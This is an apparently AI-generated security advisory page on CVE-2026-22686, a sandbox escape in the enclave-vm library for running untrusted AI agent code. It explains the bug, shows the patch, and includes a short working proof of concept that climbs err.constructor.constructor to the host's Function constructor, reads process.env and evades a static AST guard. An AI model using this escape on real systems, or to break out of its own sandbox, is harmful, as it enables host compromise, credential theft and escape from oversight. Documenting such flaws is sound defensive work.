CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-22686

CVE-2026-22686: The 'Simpleton's Ladder' Sandbox Escape in Enclave VM

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 19, 2026·6 min read·96 visits

Executive Summary (TL;DR)

Host-side errors passed into the sandbox retained their prototype links to the Host Realm. Attackers trigger an error, catch it, and climb `error.constructor.constructor` to access the Host's `Function` constructor, granting full RCE (CVSS 10.0).

A critical sandbox escape vulnerability in `enclave-vm` allows untrusted AI agent code to break out of the JavaScript sandbox and execute arbitrary code on the host machine. By leveraging a cross-realm prototype leak in the error handling mechanism, attackers can traverse the prototype chain from a caught exception up to the host's `Function` constructor, effectively bypassing all security controls.

The Hook: Building a Prison with a Revolving Door

We live in the age of AI Agents. We give them tools, we give them goals, and because we aren't completely insane, we put them in a box. That box is enclave-vm, a popular JavaScript sandboxing library designed to let you run untrusted LLM-generated code without nuking your production database. Ideally, it's a digital Alcatraz.

But here's the thing about prisons: they are only as secure as the guards who pass food through the slot. In software terms, that slot is the Bridge—the mechanism that allows the sandboxed code to invoke specific, allowed tools on the host (like fetch or readFile).

CVE-2026-22686, affectionately dubbed the "Simpleton's Ladder," isn't a complex buffer overflow or a heap grooming masterpiece. It's a logic flaw in how the guards handle complaints. When the sandbox asks for a tool that doesn't exist, the Host yells "Error!" and hands that Error object directly to the inmate. The problem? That Error object is attached to a long, invisible rope leading right back to the warden's keys.

The Flaw: Cross-Realm Object Leaks

To understand this bug, you need to understand JavaScript Realms. A Realm is roughly equivalent to a global environment (window in browsers, global in Node.js). The Sandbox is one Realm; the Host is another. Security relies on total isolation between them.

In enclave-vm versions prior to 2.7.0, the developers made a classic mistake: Object Identity Retention. When the sandboxed code called a tool via callTool('bad_tool'), the Host runtime would throw a native JavaScript Error. Instead of serializing this error into a harmless string or a neutral object, the bridge passed the actual Host Error instance into the Sandbox.

Why is this fatal? Because in V8 (and most JS engines), objects carry a reference to their prototype. An Error object created in the Host Realm has a prototype chain that looks like this:

  1. errorInstance (In Sandbox, but references Host memory)
  2. errorInstance.constructor -> Error (Host Realm Class)
  3. Error.constructor -> Function (Host Realm Function Constructor)

By handing the inmate a Host Error object, the developers effectively handed them a pointer to the Host's memory context. The inmate just has to follow the chain home.

The Code: The Smoking Gun

Let's look at the vulnerable pattern. The bridge code was trying to be helpful, preserving the stack trace and error message for the developer. This helpfulness is what killed the security model.

Vulnerable Implementation (< 2.7.0):

// Host Side Bridge
async function handleToolCall(toolName, args) {
  try {
    const tool = tools[toolName];
    if (!tool) throw new Error(`Tool ${toolName} not found`); // <--- Host Error created here
    return await tool(args);
  } catch (err) {
    // FATAL FLAW: Passing the raw Error object back to the sandbox
    return sandbox.throw(err);
  }
}

Because err is passed by reference (proxied), the sandbox receives an object where err instanceof Error is true, but crucially, err.constructor is the Host's Error constructor.

Fixed Implementation (v2.7.0):

The fix involves "shredding" the object. You treat the error as toxic waste. You extract the data you need (message, name) and reconstruct a new error inside the sandbox, or serialize it to JSON and back.

// Fixed Host Side Bridge
async function handleToolCall(toolName, args) {
  try {
    // ... tool logic ...
  } catch (err) {
    // SAFE: Marshaling the error details only
    const safeErrorData = {
      message: err.message,
      name: err.name,
      stack: err.stack // Optional, maybe sanitize this too
    };
    // Re-create the error INSIDE the sandbox realm, breaking the link
    return sandbox.throw(new SandboxError(safeErrorData));
  }
}

The Exploit: Climbing the Simpleton's Ladder

The exploit is laughably simple, hence the name. We don't need shellcode. We just need to ask for a tool that doesn't exist, catch the inevitable error, and climb the prototype ladder to God Mode (the Function constructor).

The Function constructor is dangerous because new Function('return process')() executes code in the scope where the constructor was defined. Since we stole the Host's constructor, we execute in the Host's scope.

Here is the weaponized PoC:

// 1. Trigger the Host to throw an error by calling a fake tool
callTool('make_me_a_sandwich', {}).catch(err => {
    
    // 2. Access the Host's Error Constructor
    const hostErrorConstructor = err.constructor;
    
    // 3. Access the Host's Function Constructor (The "God Function")
    const hostFunction = hostErrorConstructor.constructor;
    
    // 4. Generate a payload to run on the Host
    //    This creates a function that returns the 'process' object
    const payload = hostFunction('return process.env');
    
    // 5. Execute
    const env = payload();
    console.log("STOLEN SECRETS:", env);
});

This bypasses ast-guard (static analysis) because purely looking at the AST, err.constructor.constructor just looks like property access. It doesn't look like eval() or require(), but it is functionally identical.

The Impact: Total Compromise

This is a CVSS 10.0 for a reason. It is the cybersecurity equivalent of a nuclear detonation inside your server room. If you are running enclave-vm to host third-party AI agents, plugins, or user scripts, you are effectively running them as root (or whatever user the Node process owns).

Impact Blast Radius:

  • Environment Exfiltration: Attackers can read process.env to steal AWS keys, database credentials, and API tokens.
  • Filesystem Access: Using the host's fs module (via process.mainModule.require('fs')), they can read source code, /etc/passwd, or write backdoors to disk.
  • Network Access: They can pivot into your internal network (SSRF on steroids) or exfiltrate data to a C2 server.
  • Persistence: They can modify the running application code to install persistent hooks that survive the sandbox teardown.

Because this is a logic flaw in the bridge, no amount of memory safety or ASLR will save you.

The Fix: Cutting the Rope

The mitigation strategy is simple: Trust No Object.

The patch in version 2.7.0 introduces a rigorous serialization boundary. Instead of passing objects, the bridge now effectively passes JSON strings (or structurally cloned data) which creates a "air gap" for references. When the data is reconstituted on the other side, it has a new prototype chain native to that realm.

Remediation Steps:

  1. Upgrade Immediately: Run npm install enclave-vm@latest. Version 2.7.0 is the minimum safe version.
  2. Audit Your Bridge: If you are using other sandboxing libraries (like vm2 or isolated-vm), check if you are passing complex objects or Errors back and forth. Always serialize primitive data types (string, number, boolean, null).
  3. Disable Prototype Access: If possible, run your Node.js process with --frozen-intrinsics or use tools that freeze Object.prototype to make prototype climbing harder (though this breaks many legit libraries).

Official Patches

agentfrontOfficial Security Advisory and Patch

Technical Appendix

CVSS Score
10.0/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
EPSS Probability
0.15%
Top 65% most exploited

Affected Systems

enclave-vm < 2.7.0Node.js Host Runtime

Affected Versions Detail

Product
Affected Versions
Fixed Version
enclave-vm
agentfront
< 2.7.02.7.0
AttributeDetail
CVSS Score10.0 (Critical)
CWE IDCWE-94 & CWE-693
Attack VectorNetwork (Sandbox Escape)
ImpactRemote Code Execution (RCE)
Exploit StatusActive / Simple PoC
EPSS Score0.00147

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
T1203Exploitation for Client Execution
Execution
CWE-94
Code Injection

Improper Control of Generation of Code ('Code Injection')

Known Exploits & Detection

Internal ResearchSimpleton's Ladder PoC using Error.constructor traversal

Vulnerability Timeline

Vulnerability discovered and fix committed privately
2026-01-09
CVE-2026-22686 assigned
2026-01-13
Public advisory and patch v2.7.0 released
2026-01-14
Active exploitation reported in wild
2026-01-15

References & Sources

  • [1]GHSA-7qm7-455j-5p63: Critical Sandbox Escape

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•41 minutes ago•GHSA-7CJ5-V4PP-V632
4.8

GHSA-7cj5-v4pp-v632: Stored Cross-Site Scripting in LibreNMS Graph Descriptions

LibreNMS versions prior to 26.7.0 are vulnerable to a stored Cross-Site Scripting (XSS) vulnerability. An authenticated administrator can inject arbitrary HTML or JavaScript into graph descriptions via specific administrative configuration endpoints. When another authenticated user views the affected graph, the unescaped payload executes within their browser context.

Alon Barad
Alon Barad
0 views•5 min read
•about 2 hours ago•GHSA-7GWW-X7FH-JF9J
8.1

GHSA-7GWW-X7FH-JF9J: SSRF-Driven Stored Cross-Site Scripting in LibreNMS Oxidized Integration

An injection vulnerability in LibreNMS's Oxidized integration component allows administrative or network-positioned attackers to achieve stored cross-site scripting (XSS). By setting a malicious oxidized.url endpoint, the server makes outbound queries and processes returned JSON fields containing malicious HTML or JavaScript. These payloads are outputted directly in the web UI without appropriate output encoding.

Amit Schendel
Amit Schendel
2 views•6 min read
•about 3 hours ago•CVE-2026-17106
7.1

CVE-2026-17106: Container-to-Host Arbitrary File Write in moby/go-archive (CopyEscape)

CVE-2026-17106 (CopyEscape) is a container-to-host arbitrary file-write vulnerability within Docker's archiving and extraction library moby/go-archive. By utilizing a Time-of-Check to Time-of-Use (TOCTOU) race condition during the file-walking stage inside a running container, a malicious container process can force the host engine to produce a compromised tar stream. During client-side extraction, the Docker CLI resolves directory entries through absolute symbolic links, resulting in arbitrary file creation or modification on the host system.

Amit Schendel
Amit Schendel
4 views•6 min read
•about 4 hours ago•CVE-2026-73974
5.5

CVE-2026-73974: Local Path Traversal and Privilege Escalation in Linuxfabrik Monitoring Plugins

CVE-2026-73974 is a local path traversal vulnerability in linuxfabrik-lib and Linuxfabrik Monitoring Plugins. Under standard monitoring configurations running with elevated privileges via sudo, this flaw can be exploited by an unprivileged local user to read arbitrary root-only files, resulting in local privilege escalation.

Alon Barad
Alon Barad
4 views•5 min read
•about 5 hours ago•CVE-2026-71417
7.3

CVE-2026-71417: Authorization Bypass Leading to Unauthorized TLS Certificate Revocation in Netflix Lemur

CVE-2026-71417 is an authorization bypass vulnerability (CWE-639) in Netflix Lemur, an open-source TLS certificate management framework. In versions prior to 1.9.3, a low-privileged authenticated user can bypass role and certificate-level permission boundaries to revoke arbitrary managed TLS certificates at the upstream Certificate Authority (CA). This vulnerability stems from an architectural issue where Lemur evaluates authorization against internal database row ownership rather than the unique, cryptographic identity of the certificate. An attacker can exploit this flaw by uploading a duplicate record of a target certificate and requesting its revocation, triggering a downstream CA-side revocation and a subsequent denial-of-service (DoS) condition for services relying on the target certificate.

Amit Schendel
Amit Schendel
6 views•6 min read
•about 6 hours ago•CVE-2026-68927
3.0

CVE-2026-68927: Server-Side Request Forgery Port Restriction Bypass in Mobile Security Framework (MobSF)

A Server-Side Request Forgery (SSRF) vulnerability exists in Mobile Security Framework (MobSF) prior to version 4.5.1. The flaw occurs in the Android App Link validation process, where a split-validation vulnerability allows an authenticated attacker to perform port restriction bypasses and potential DNS rebinding attacks against internal infrastructure.

Amit Schendel
Amit Schendel
4 views•7 min read